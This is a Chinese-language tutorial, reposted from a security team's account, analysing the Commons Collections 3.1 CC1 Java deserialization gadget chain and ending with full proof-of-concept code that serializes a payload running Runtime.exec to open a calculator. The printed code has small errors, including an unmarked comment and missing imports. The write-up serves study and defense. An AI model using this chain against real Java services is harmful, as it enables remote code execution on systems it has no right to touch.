CommonCollections1 Gadget分析
CommonCollections1 Gadget分析
環境
JDK1.7
Idea 2020.1
Apache CommonCollections V3.1
Idea默認版本Maven
Gadget Chains
將Gadget Chains分片分析,“=”下為迭代鏈,“=”上為利用鏈。
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject() Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
====================================================================
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Gadget Chains 1(迭代鏈)
將迭代鏈再分片,“=”下為其具體實現,“=”為其前置條件。
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime() ===================================================================
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
具體實現
InvokerTransformer
InvokerTransformer#transform方法通過反射調用構造方法中傳入的方法。

據InvokerTransformer類的構造方法和transform方法源碼,可給出具體實現部分代碼,“=”下為transform方法注釋。
Runtime rt = Runtime.getRuntime();
InvokerTransformer transformer = InvokerTransformer
("exec",new Class[]{String.class},new Object[]{"open /Users/lixq/Desktop/1.txt"});
transformer.transform(rt);
======================================================
//Runtime rt = Runtime.getRuntime();
//Class clazz = rt.getClass();
//Method method = clazz.getMethod("exec",String.class);
//method.invoke(rt,"open /Users/lixq/Desktop/1.txt");
前置條件
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
通過給出的Gadget Chains 1可知前置部分通過多次transform方法執行Runtime.getRuntime方法獲取Runtime實例,由下而上逆推可得到前置部分實現代碼。
由于Runtime類未繼承Serializable故其不能直接反序列化,需要通過反射來一步步獲取一個Runtime實例。為便于理解,下面先給出具體邏輯實現代碼。
Class clazz = Class.forName("java.lang.Runtime");
Class clsClazz = clazz.getClass();
Method m1 = clsClazz.getMethod("getMethod", String.class, Class[].class);
Object o1 = m1.invoke(clazz,new Object[]{"getRuntime",new Class[0]});
Method m2 = m1.getClass().getMethod("invoke", Object.class, Object[].class);
Object o2 = m2.invoke(o1,new Object[]{null,null});
System.out.println(o1);
System.out.println(o2);

使用Transformer迭代鏈實現之,具體如下。
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Object clsObj = constantTransformer.transform(1);
InvokerTransformer invokerTransformer1 = new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
Object getMethodObj = invokerTransformer1.transform(clsObj);
System.out.println(getMethodObj);
InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null});
Object getRuntimeObj = invokerTransformer2.transform(getMethodObj);
System.out.println(getRuntimeObj);

逐語句分析,ConstantTransformer#transformer會返回傳入對象本身即Runtime的類對象。

invokerTransformer1.transform返回Runtime.getRuntime方法的Method對象。

invokerTransformer2.transform通過反射調用Method.invoke方法即調用getRumtime這個Method對象invoke方法返回一個Runtime對象。

迭代鏈實現
迭代鏈中用到的三個tranform方法:
1.InvokerTransformer.transform():在具體實現中已經給出其實現方法。
2.ConstanTransformer.transform():返回傳入對象本身,在前置條件中已給出其實現方法。
3.ChainedTransformer.transform():此方法實現了對每個傳入的transformer都調用其transform方法,并將結果作為下一次的輸入傳遞進去。

綜合前置條件和具體實現迭代鏈的最終實現代碼和執行結果。
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "})
});
chainedTransformer.transform(1);

Gadget Chains 2(利用鏈)
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
由后至前分析,LazyMap.get():當傳入的key不存在時執行this.factory.transform,若此時傳入的this.factory為構造好的迭代鏈chainedTransformer則可執行系統命令。

由于LazyMap的構造方法使用protected修飾,故無法直接new一個LazyMap的實例對象,但其提供了decorate方法來實例化一個LazyMap對象。

此時可完成構造利用鏈的第一步,如下。
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "})
});
chainedTransformer.transform(1);
Hashmap map = new HashMap();
LazyMap lazyMap = LazyMap.decorate(map,chainedTransformer);
lazyMap.get(1);

繼而向上,AnnotationInvocationHandler implements自InvocationHandler和Serializable是處理注解的類,構造該類需要提供兩個參數,一個是Annotation類,一個是Map對象,此類未使用public修飾只能通過反射創建實例。

AnnotationInvocationHandler.invoke:關注代碼注釋部分,它執行了this.memberValues.get(var4),this.membrtValues等于構造方法中的var2也就是當構造方法中傳入的var2為LazyMap對象時會執行LazyMap.get方法。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
// default:
// Object var6 = this.memberValues.get(var4);
通過動態代理來實現對AnnotationInvocationHandler.invoke方法的調用,先給出代理對象的生成方法注釋。
Proxy.newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h);
//Proxy類就是用來創建一個代理對象的類,它提供了很多方法,但最常用的是newProxyInstance方法。
//InvocationHandler接口是proxy代理實例的調用處理程序實現的一個接口,每一個proxy代理實例都有一個關聯的調用處理程序;
//在代理實例調用方法時,方法調用被分派到調用處理程序的invoke方法。
//其相當于一種代碼增強,即在原先的方法邏輯上加上額外操作,在方法執行之前和之后加點通用邏輯,方便實現和維護。
先看下
AnnotationInvocationHandler.readObject()方法實現,this.memberValues是其構造方法中傳入的Map對象,當其是一個代理Map對象并執行this.memberValues.entrySet().iterator()時會調用memberValues對應InvocationHandler對象的invoke方法。

綜上,可給出利用鏈實現代碼。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin"));
objectOutputStream.writeObject(handler);
objectOutputStream.close();
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
class CC1 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException
{
//構造迭代鏈
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "})
});
構造利用鏈
HashMap map = new HashMap();
map.put("11","22");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
//序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin"));
objectOutputStream.writeObject(handler);
objectOutputStream.close();
//反序列化
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Poc.bin"));
inputStream.readObject();
}
}

總結下CommonCollections1 反序列化執行惡意代碼過程:
通過動態代理調用
AnnotationInvocationHandler.invoke(),AnnotationInvocationHandler對象構造時傳入LazyMap,在調用其invoke方法時會執行LazyMap.get(),構造LazyMap對象時傳入構造好的迭代鏈,執行LazyMap.get()時調用ChianedTransformer.transform(),最終執行系統命令。
文章轉自公眾號: Tide安全團隊